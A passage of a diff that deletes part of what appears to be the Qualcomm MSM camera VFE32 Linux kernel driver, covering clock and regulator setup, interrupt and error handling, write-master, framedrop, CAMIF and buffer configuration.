{"vfe_pclk", -1}, - {"csi_vfe_clk", -1}, -}; - -static int msm_vfe32_init_hardware(struct vfe_device *vfe_dev) -{ - int rc = -1; - vfe_dev->vfe_clk_idx = 0; - rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); - if (rc < 0) { - pr_err("%s: Bandwidth registration Failed!\n", __func__); - goto bus_scale_register_failed; - } - - if (vfe_dev->fs_vfe) { - rc = regulator_enable(vfe_dev->fs_vfe); - if (rc) { - pr_err("%s: Regulator enable failed\n", __func__); - goto fs_failed; - } - } - if (vfe_dev->num_clk <= 0) { - pr_err("%s: Invalid num of clock\n", __func__); - goto fs_failed; - } else { - vfe_dev->vfe_clk = - kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, - GFP_KERNEL); - if (!vfe_dev->vfe_clk) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - } - rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe32_1_clk_info, - vfe_dev->vfe_clk, ARRAY_SIZE(msm_vfe32_1_clk_info), 1); - if (rc < 0) { - rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, - msm_vfe32_2_clk_info, vfe_dev->vfe_clk, - ARRAY_SIZE(msm_vfe32_2_clk_info), 1); - if (rc < 0) - goto clk_enable_failed; - else - vfe_dev->vfe_clk_idx = 2; - } else - vfe_dev->vfe_clk_idx = 1; - - vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, - resource_size(vfe_dev->vfe_mem)); - if (!vfe_dev->vfe_base) { - rc = -ENOMEM; - pr_err("%s: vfe ioremap failed\n", __func__); - goto vfe_remap_failed; - } - - rc = request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, - IRQF_TRIGGER_RISING, "vfe", vfe_dev); - if (rc < 0) { - pr_err("%s: irq request failed\n", __func__); - goto irq_req_failed; - } - - return rc; -irq_req_failed: - iounmap(vfe_dev->vfe_base); -vfe_remap_failed: - if (vfe_dev->vfe_clk_idx == 1) - msm_cam_clk_enable(&vfe_dev->pdev->dev, - msm_vfe32_1_clk_info, vfe_dev->vfe_clk, - ARRAY_SIZE(msm_vfe32_1_clk_info), 0); - if (vfe_dev->vfe_clk_idx == 2) - msm_cam_clk_enable(&vfe_dev->pdev->dev, - msm_vfe32_2_clk_info, vfe_dev->vfe_clk, - ARRAY_SIZE(msm_vfe32_2_clk_info), 0); -clk_enable_failed: - if (vfe_dev->fs_vfe) - regulator_disable(vfe_dev->fs_vfe); - kfree(vfe_dev->vfe_clk); -fs_failed: - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -bus_scale_register_failed: - return rc; -} - -static void msm_vfe32_release_hardware(struct vfe_device *vfe_dev) -{ - free_irq(vfe_dev->vfe_irq->start, vfe_dev); - tasklet_kill(&vfe_dev->vfe_tasklet); - iounmap(vfe_dev->vfe_base); - if (vfe_dev->vfe_clk_idx == 1) - msm_cam_clk_enable(&vfe_dev->pdev->dev, - msm_vfe32_1_clk_info, vfe_dev->vfe_clk, - ARRAY_SIZE(msm_vfe32_1_clk_info), 0); - if (vfe_dev->vfe_clk_idx == 2) - msm_cam_clk_enable(&vfe_dev->pdev->dev, - msm_vfe32_2_clk_info, vfe_dev->vfe_clk, - ARRAY_SIZE(msm_vfe32_2_clk_info), 0); - kfree(vfe_dev->vfe_clk); - regulator_disable(vfe_dev->fs_vfe); - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -} - -static void msm_vfe32_init_hardware_reg(struct vfe_device *vfe_dev) -{ - /* CGC_OVERRIDE */ - msm_camera_io_w(0x07FFFFFF, vfe_dev->vfe_base + 0xC); - /* BUS_CFG */ - msm_camera_io_w(0x00000009, vfe_dev->vfe_base + 0x3C); - msm_camera_io_w(0x01000025, vfe_dev->vfe_base + 0x1C); - msm_camera_io_w_mb(0x1CFFFFFF, vfe_dev->vfe_base + 0x20); - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x24); - msm_camera_io_w_mb(0x1FFFFFFF, vfe_dev->vfe_base + 0x28); - msm_camera_io_w(0x0, vfe_dev->vfe_base+0x6FC); - msm_camera_io_w(0x10000000, vfe_dev->vfe_base + VFE32_RDI_BASE(1)); - msm_camera_io_w(0x10000000, vfe_dev->vfe_base + VFE32_RDI_BASE(2)); - msm_camera_io_w(0x0, vfe_dev->vfe_base + VFE32_XBAR_BASE(0)); - msm_camera_io_w(0x0, vfe_dev->vfe_base + VFE32_XBAR_BASE(4)); - -} - -static void msm_vfe32_process_reset_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - if (irq_status1 & BIT(23)) - complete(&vfe_dev->reset_complete); -} - -static void msm_vfe32_process_halt_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ -} - -static void msm_vfe32_process_camif_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0x1F)) - return; - - if (irq_status0 & BIT(0)) { - ISP_DBG("%s: SOF IRQ\n", __func__); - if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 - && vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count == 0) { - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - } - } -} - -static void msm_vfe32_process_violation_status(struct vfe_device *vfe_dev) -{ - uint32_t violation_status = vfe_dev->error_info.violation_status; - if (!violation_status) - return; - - if (violation_status & BIT(0)) - pr_err("%s: black violation\n", __func__); - if (violation_status & BIT(1)) - pr_err("%s: rolloff violation\n", __func__); - if (violation_status & BIT(2)) - pr_err("%s: demux violation\n", __func__); - if (violation_status & BIT(3)) - pr_err("%s: demosaic violation\n", __func__); - if (violation_status & BIT(4)) - pr_err("%s: crop violation\n", __func__); - if (violation_status & BIT(5)) - pr_err("%s: scale violation\n", __func__); - if (violation_status & BIT(6)) - pr_err("%s: wb violation\n", __func__); - if (violation_status & BIT(7)) - pr_err("%s: clf violation\n", __func__); - if (violation_status & BIT(8)) - pr_err("%s: matrix violation\n", __func__); - if (violation_status & BIT(9)) - pr_err("%s: rgb lut violation\n", __func__); - if (violation_status & BIT(10)) - pr_err("%s: la violation\n", __func__); - if (violation_status & BIT(11)) - pr_err("%s: chroma enhance violation\n", __func__); - if (violation_status & BIT(12)) - pr_err("%s: chroma supress mce violation\n", __func__); - if (violation_status & BIT(13)) - pr_err("%s: skin enhance violation\n", __func__); - if (violation_status & BIT(14)) - pr_err("%s: asf violation\n", __func__); - if (violation_status & BIT(15)) - pr_err("%s: scale y violation\n", __func__); - if (violation_status & BIT(16)) - pr_err("%s: scale cbcr violation\n", __func__); - if (violation_status & BIT(17)) - pr_err("%s: chroma subsample violation\n", __func__); - if (violation_status & BIT(18)) - pr_err("%s: framedrop enc y violation\n", __func__); - if (violation_status & BIT(19)) - pr_err("%s: framedrop enc cbcr violation\n", __func__); - if (violation_status & BIT(20)) - pr_err("%s: framedrop view y violation\n", __func__); - if (violation_status & BIT(21)) - pr_err("%s: framedrop view cbcr violation\n", __func__); - if (violation_status & BIT(22)) - pr_err("%s: realign buf y violation\n", __func__); - if (violation_status & BIT(23)) - pr_err("%s: realign buf cb violation\n", __func__); - if (violation_status & BIT(24)) - pr_err("%s: realign buf cr violation\n", __func__); -} - -static void msm_vfe32_process_error_status(struct vfe_device *vfe_dev) -{ - uint32_t error_status1 = vfe_dev->error_info.error_mask1; - - if (error_status1 & BIT(0)) - pr_err("%s: camif error status: 0x%x\n", - __func__, vfe_dev->error_info.camif_status); - if (error_status1 & BIT(1)) - pr_err("%s: stats bhist overwrite\n", __func__); - if (error_status1 & BIT(2)) - pr_err("%s: stats cs overwrite\n", __func__); - if (error_status1 & BIT(3)) - pr_err("%s: stats ihist overwrite\n", __func__); - if (error_status1 & BIT(4)) - pr_err("%s: realign buf y overflow\n", __func__); - if (error_status1 & BIT(5)) - pr_err("%s: realign buf cb overflow\n", __func__); - if (error_status1 & BIT(6)) - pr_err("%s: realign buf cr overflow\n", __func__); - if (error_status1 & BIT(7)) { - pr_err("%s: violation\n", __func__); - msm_vfe32_process_violation_status(vfe_dev); - } - if (error_status1 & BIT(8)) { - vfe_dev->stats->imagemaster0_overflow++; - pr_err("%s: image master 0 bus overflow\n", __func__); - } - if (error_status1 & BIT(9)) { - vfe_dev->stats->imagemaster1_overflow++; - pr_err("%s: image master 1 bus overflow\n", __func__); - } - if (error_status1 & BIT(10)) { - vfe_dev->stats->imagemaster2_overflow++; - pr_err("%s: image master 2 bus overflow\n", __func__); - } - if (error_status1 & BIT(11)) { - vfe_dev->stats->imagemaster3_overflow++; - pr_err("%s: image master 3 bus overflow\n", __func__); - } - if (error_status1 & BIT(12)) { - vfe_dev->stats->imagemaster4_overflow++; - pr_err("%s: image master 4 bus overflow\n", __func__); - } - if (error_status1 & BIT(13)) { - vfe_dev->stats->imagemaster5_overflow++; - pr_err("%s: image master 5 bus overflow\n", __func__); - } - if (error_status1 & BIT(14)) { - vfe_dev->stats->imagemaster6_overflow++; - pr_err("%s: image master 6 bus overflow\n", __func__); - } - if (error_status1 & BIT(15)) { - vfe_dev->stats->bg_overflow++; - pr_err("%s: status ae/bg bus overflow\n", __func__); - } - if (error_status1 & BIT(16)) { - vfe_dev->stats->bf_overflow++; - pr_err("%s: status af/bf bus overflow\n", __func__); - } - if (error_status1 & BIT(17)) { - vfe_dev->stats->awb_overflow++; - pr_err("%s: status awb bus overflow\n", __func__); - } - if (error_status1 & BIT(18)) { - vfe_dev->stats->rs_overflow++; - pr_err("%s: status rs bus overflow\n", __func__); - } - if (error_status1 & BIT(19)) { - vfe_dev->stats->cs_overflow++; - pr_err("%s: status cs bus overflow\n", __func__); - } - if (error_status1 & BIT(20)) { - vfe_dev->stats->ihist_overflow++; - pr_err("%s: status ihist bus overflow\n", __func__); - } - if (error_status1 & BIT(21)) { - vfe_dev->stats->skinbhist_overflow++; - pr_err("%s: status skin bhist bus overflow\n", __func__); - } - if (error_status1 & BIT(22)) - pr_err("%s: axi error\n", __func__); -} - -static void msm_vfe32_read_irq_status(struct vfe_device *vfe_dev, - uint32_t *irq_status0, uint32_t *irq_status1) -{ - *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); - *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x30); - msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x24); - msm_camera_io_w_mb(*irq_status1, vfe_dev->vfe_base + 0x28); - msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x18); - - if (*irq_status1 & BIT(0)) - vfe_dev->error_info.camif_status = - msm_camera_io_r(vfe_dev->vfe_base + 0x204); - - if (*irq_status1 & BIT(7)) - vfe_dev->error_info.violation_status |= - msm_camera_io_r(vfe_dev->vfe_base + 0x7B4); -} - -static void msm_vfe32_process_reg_update(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0x20) && !(irq_status1 & 0x1C000000)) - return; - - if (irq_status0 & BIT(5)) - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (irq_status1 & BIT(26)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); - if (irq_status1 & BIT(27)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); - if (irq_status1 & BIT(28)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); - - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - if (atomic_read(&vfe_dev->stats_data.stats_update)) - msm_isp_stats_stream_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - msm_isp_update_error_frame_count(vfe_dev); - - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev); - return; -} - -static void msm_vfe32_reg_update( - struct vfe_device *vfe_dev) -{ - msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x260); -} - -static uint32_t msm_vfe32_reset_values[ISP_RST_MAX] = { - 0x3FF, /* ISP_RST_HARD reset everything */ - 0x3EF /* ISP_RST_SOFT same as HARD RESET */ -}; - -static long msm_vfe32_reset_hardware(struct vfe_device *vfe_dev , - enum msm_isp_reset_type reset_type, uint32_t blocking) -{ - - uint32_t rst_val; - long rc = 0; - if (reset_type >= ISP_RST_MAX) { - pr_err("%s: Error Invalid parameter\n", __func__); - reset_type = ISP_RST_HARD; - } - rst_val = msm_vfe32_reset_values[reset_type]; - init_completion(&vfe_dev->reset_complete); - if (blocking) { - msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0x4); - rc = wait_for_completion_timeout( - &vfe_dev->reset_complete, msecs_to_jiffies(50)); - } else { - msm_camera_io_w_mb(0x3EF, vfe_dev->vfe_base + 0x4); - } - return rc; -} - -static void msm_vfe32_axi_reload_wm( - struct vfe_device *vfe_dev, uint32_t reload_mask) -{ - if (!vfe_dev->pdev->dev.of_node) { - /*vfe32 A-family: 8960*/ - msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x38); - } else { - /*vfe32 B-family: 8610*/ - msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x28); - msm_camera_io_w(0x1C800000, vfe_dev->vfe_base + 0x20); - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x18); - msm_camera_io_w(0x9AAAAAAA , vfe_dev->vfe_base + 0x600); - msm_camera_io_w(reload_mask, vfe_dev->vfe_base + 0x38); - } -} - -static void msm_vfe32_axi_enable_wm(struct vfe_device *vfe_dev, - uint8_t wm_idx, uint8_t enable) -{ - uint32_t val = msm_camera_io_r( - vfe_dev->vfe_base + VFE32_WM_BASE(wm_idx)); - if (enable) - val |= 0x1; - else - val &= ~0x1; - msm_camera_io_w_mb(val, - vfe_dev->vfe_base + VFE32_WM_BASE(wm_idx)); -} - -static void msm_vfe32_axi_cfg_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t comp_mask, comp_mask_index = - stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x34); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - comp_mask |= (axi_data->composite_info[comp_mask_index]. - stream_composite_mask << (comp_mask_index * 8)); - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x34); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask |= BIT(comp_mask_index + 21); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); -} - -static void msm_vfe32_axi_clear_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x34); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x34); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask &= ~BIT(comp_mask_index + 21); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); -} - -static void msm_vfe32_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask |= BIT(stream_info->wm[0] + 6); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); -} - -static void msm_vfe32_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask &= ~BIT(stream_info->wm[0] + 6); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); -} - -static void msm_vfe32_cfg_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t framedrop_pattern = 0, framedrop_period = 0; - - if (stream_info->runtime_init_frame_drop == 0) { - framedrop_pattern = stream_info->framedrop_pattern; - framedrop_period = stream_info->framedrop_period; - } - - if (stream_info->stream_type == BURST_STREAM && - stream_info->runtime_burst_frame_count == 0) { - framedrop_pattern = 0; - framedrop_period = 0; - } - - if (stream_info->stream_src == PIX_ENCODER) { - msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x504); - msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x508); - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x50C); - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x510); - } else if (stream_info->stream_src == PIX_VIEWFINDER) { - msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x514); - msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x518); - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x51C); - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x520); - } - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x260); -} - -static void msm_vfe32_clear_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - if (stream_info->stream_src == PIX_ENCODER) { - msm_camera_io_w(0, vfe_dev->vfe_base + 0x50C); - msm_camera_io_w(0, vfe_dev->vfe_base + 0x510); - } else if (stream_info->stream_src == PIX_VIEWFINDER) { - msm_camera_io_w(0, vfe_dev->vfe_base + 0x51C); - msm_camera_io_w(0, vfe_dev->vfe_base + 0x520); - } -} - -static int32_t msm_vfe32_cfg_io_format(struct vfe_device *vfe_dev, - enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) -{ - int bpp, bpp_reg = 0, pack_fmt = 0, pack_reg = 0; - uint32_t io_format_reg; - bpp = msm_isp_get_bit_per_pixel(io_format); - if (bpp < 0) { - pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, - io_format, bpp); - return -EINVAL; - } - - switch (bpp) { - case 8: - bpp_reg = 0; - break; - case 10: - bpp_reg = 1 << 0; - break; - case 12: - bpp_reg = 1 << 1; - break; - default: - pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); - return -EINVAL; - } - - if (stream_src == IDEAL_RAW) { - pack_fmt = msm_isp_get_pack_format(io_format); - switch (pack_fmt) { - case QCOM: - pack_reg = 0x0; - break; - case MIPI: - pack_reg = 0x1; - break; - case DPCM6: - pack_reg = 0x2; - break; - case DPCM8: - pack_reg = 0x3; - break; - case PLAIN8: - pack_reg = 0x4; - break; - case PLAIN16: - pack_reg = 0x5; - break; - default: - pr_err("%s: invalid pack fmt!\n", __func__); - return -EINVAL; - } - } - - io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x6F8); - switch (stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: - case CAMIF_RAW: - io_format_reg &= 0xFFFFCFFF; - io_format_reg |= bpp_reg << 12; - break; - case IDEAL_RAW: - io_format_reg &= 0xFFFFFFC8; - io_format_reg |= bpp_reg << 4 | pack_reg; - break; - case RDI_INTF_0: - case RDI_INTF_1: - case RDI_INTF_2: - default: - pr_err("%s: Invalid stream source\n", __func__); - return -EINVAL; - } - msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x6F8); - return 0; -} - -static void msm_vfe32_cfg_camif(struct vfe_device *vfe_dev, - struct msm_vfe_pix_cfg *pix_cfg) -{ - uint16_t first_pixel, last_pixel, first_line, last_line; - struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; - uint32_t val; - - first_pixel = camif_cfg->first_pixel; - last_pixel = camif_cfg->last_pixel; - first_line = camif_cfg->first_line; - last_line = camif_cfg->last_line; - - msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, - vfe_dev->vfe_base + 0x14); - - msm_camera_io_w(camif_cfg->lines_per_frame << 16 | - camif_cfg->pixels_per_line, - vfe_dev->vfe_base + 0x1EC); - - msm_camera_io_w(first_pixel << 16 | last_pixel, - vfe_dev->vfe_base + 0x1F0); - - msm_camera_io_w(first_line << 16 | last_line, - vfe_dev->vfe_base + 0x1F4); - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x6FC); - val &= 0xFFFFFFFC; - val |= camif_cfg->camif_input; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x6FC); -} - -static void msm_vfe32_update_camif_state( - struct vfe_device *vfe_dev, - enum msm_isp_camif_update_state update_state) -{ - uint32_t val; - bool bus_en, vfe_en; - if (update_state == NO_UPDATE) - return; - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x1E4); - if (update_state == ENABLE_CAMIF) { - bus_en = - ((vfe_dev->axi_data.src_info[ - VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); - vfe_en = - ((vfe_dev->axi_data.src_info[ - VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); - val &= 0xFFFFFF3F; - val = val | bus_en << 7 | vfe_en << 6; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x1E4); - msm_camera_io_w_mb(0x4, vfe_dev->vfe_base + 0x1E0); - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x1E0); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; - } else if (update_state == DISABLE_CAMIF) { - msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x1E0); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { - vfe_dev->ignore_error = 1; - msm_camera_io_w_mb(0x6, vfe_dev->vfe_base + 0x1E0); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - vfe_dev->ignore_error = 0; - } -} - -static void msm_vfe32_cfg_rdi_reg(struct vfe_device *vfe_dev, - struct msm_vfe_rdi_cfg *rdi_cfg, enum msm_vfe_input_src input_src) -{ - uint8_t rdi = input_src - VFE_RAW_0; - uint32_t rdi_reg_cfg; - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE32_RDI_BASE(0)); - rdi_reg_cfg &= ~(BIT(16 + rdi)); - rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); - msm_camera_io_w(rdi_reg_cfg, - vfe_dev->vfe_base + VFE32_RDI_BASE(0)); - - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE32_RDI_BASE(rdi)); - rdi_reg_cfg &= 0x70003; - rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; - msm_camera_io_w( - rdi_reg_cfg, vfe_dev->vfe_base + VFE32_RDI_BASE(rdi)); - -} - -static void msm_vfe32_axi_cfg_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx) -{ - uint32_t val; - uint32_t wm_base = VFE32_WM_BASE(stream_info->wm[plane_idx]); - - if (!stream_info->frame_based) { - /*WR_IMAGE_SIZE*/ - val = - ((msm_isp_cal_word_per_line( - stream_info->output_format, - stream_info->plane_cfg[plane_idx]. - output_width)+1)/2 - 1) << 16 | - (stream_info->plane_cfg[plane_idx]. - output_height - 1); - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x10); - - /*WR_BUFFER_CFG*/ - val = - msm_isp_cal_word_per_line( - stream_info->output_format, - stream_info->plane_cfg[plane_idx]. - output_stride) << 16 | - (stream_info->plane_cfg[plane_idx]. - output_height - 1) << 4 | VFE32_BURST_LEN; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - } else { - msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); - val = - msm_isp_cal_word_per_line( - stream_info->output_format, - stream_info->plane_cfg[plane_idx]. - output_width) << 16 | - (stream_info->plane_cfg[plane_idx]. - output_height - 1) << 4 | VFE32_BURST_LEN; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - } - return; -} - -static void msm_vfe32_axi_clear_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint32_t val = 0; - uint32_t wm_base = VFE32_WM_BASE(stream_info->wm[plane_idx]); - /* FRAME BASED */ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base); - /*WR_IMAGE_SIZE*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x10); - /*WR_BUFFER_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - return; -} - -static void msm_vfe32_axi_cfg_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - struct msm_vfe_axi_plane_cfg *plane_cfg = - &stream_info->plane_cfg[plane_idx]; - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_cfg = 0; - uint32_t xbar_reg_cfg = 0; - - switch (stream_info->stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: { - if (plane_cfg->output_plane_format != CRCB_PLANE && - plane_cfg->output_plane_format != CBCR_PLANE) { - /*SINGLE_STREAM_SEL*/ - xbar_cfg |= plane_cfg->output_plane_format << 5; - } else { - switch (stream_info->output_format) { - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV16: - xbar_cfg |= 0x3 << 3; /*PAIR_STREAM_SWAP_CTRL*/ - break; - } - xbar_cfg |= BIT(1); /*PAIR_STREAM_EN*/ - } - if (stream_info->stream_src == PIX_VIEWFINDER) - xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ - break; - } - case CAMIF_RAW: - xbar_cfg = 0x60; - break; - case IDEAL_RAW: - xbar_cfg = 0x80; - break; - case RDI_INTF_0: - xbar_cfg = 0xA0; - break; - case RDI_INTF_1: - xbar_cfg = 0xC0; - break; - case RDI_INTF_2: - xbar_cfg = 0xE0; - break; - default: - pr_err("%s: Invalid stream src\n", __func__); - } - xbar_reg_cfg = msm_camera_io_r(vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFF << VFE32_XBAR_SHIFT(wm)); - xbar_reg_cfg |= (xbar_cfg << VFE32_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); - return; -} - -static void msm_vfe32_axi_clear_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_reg_cfg = 0; - - xbar_reg_cfg = msm_camera_io_r(vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFF << VFE32_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); -} - -static void msm_vfe32_cfg_axi_ub_equal_default(struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t total_image_size = 0; - uint32_t num_used_wms = 0; - uint32_t prop_size = 0; - uint32_t wm_ub_size; - uint64_t delta; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i] > 0) { - num_used_wms++; - total_image_size += axi_data->wm_image_size[i]; - } - } - prop_size = MSM_ISP32_TOTAL_WM_UB - - axi_data->hw_info->min_wm_ub * num_used_wms; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i]) { - delta = - (uint64_t)(axi_data->wm_image_size[i] * - prop_size); - do_div(delta, total_image_size); - wm_ub_size = axi_data->hw_info->min_wm_ub + - (uint32_t)delta; - msm_camera_io_w(ub_offset << 16 | - (wm_ub_size - 1), vfe_dev->vfe_base + - VFE32_WM_BASE(i) + 0xC); - ub_offset += wm_ub_size; - } else { - msm_camera_io_w(0, - vfe_dev->vfe_base + VFE32_WM_BASE(i) + 0xC); - } - } -} - -static void msm_vfe32_cfg_axi_ub_equal_slicing(struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - uint32_t final_ub_slice_size; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (ub_offset + VFE32_EQUAL_SLICE_UB > VFE32_AXI_SLICE_UB) { - final_ub_slice_size = VFE32_AXI_SLICE_UB - ub_offset; - msm_camera_io_w(ub_offset << 16 | - (final_ub_slice_size - 1), vfe_dev->vfe_base + - VFE32_WM_BASE(i) + 0xC); - ub_offset += final_ub_slice_size; - } else { - msm_camera_io_w(ub_offset << 16 | - (VFE32_EQUAL_SLICE_UB - 1), vfe_dev->vfe_base + - VFE32_WM_BASE(i) + 0xC); - ub_offset += VFE32_EQUAL_SLICE_UB; - } - } -} - -static void msm_vfe32_cfg_axi_ub(struct vfe_device *vfe_dev) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - axi_data->wm_ub_cfg_policy = MSM_WM_UB_EQUAL_SLICING; - if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) - msm_vfe32_cfg_axi_ub_equal_slicing(vfe_dev); - else - msm_vfe32_cfg_axi_ub_equal_default(vfe_dev); -} - -static void msm_vfe32_update_ping_pong_addr(struct vfe_device *vfe_dev, - uint8_t wm_idx, 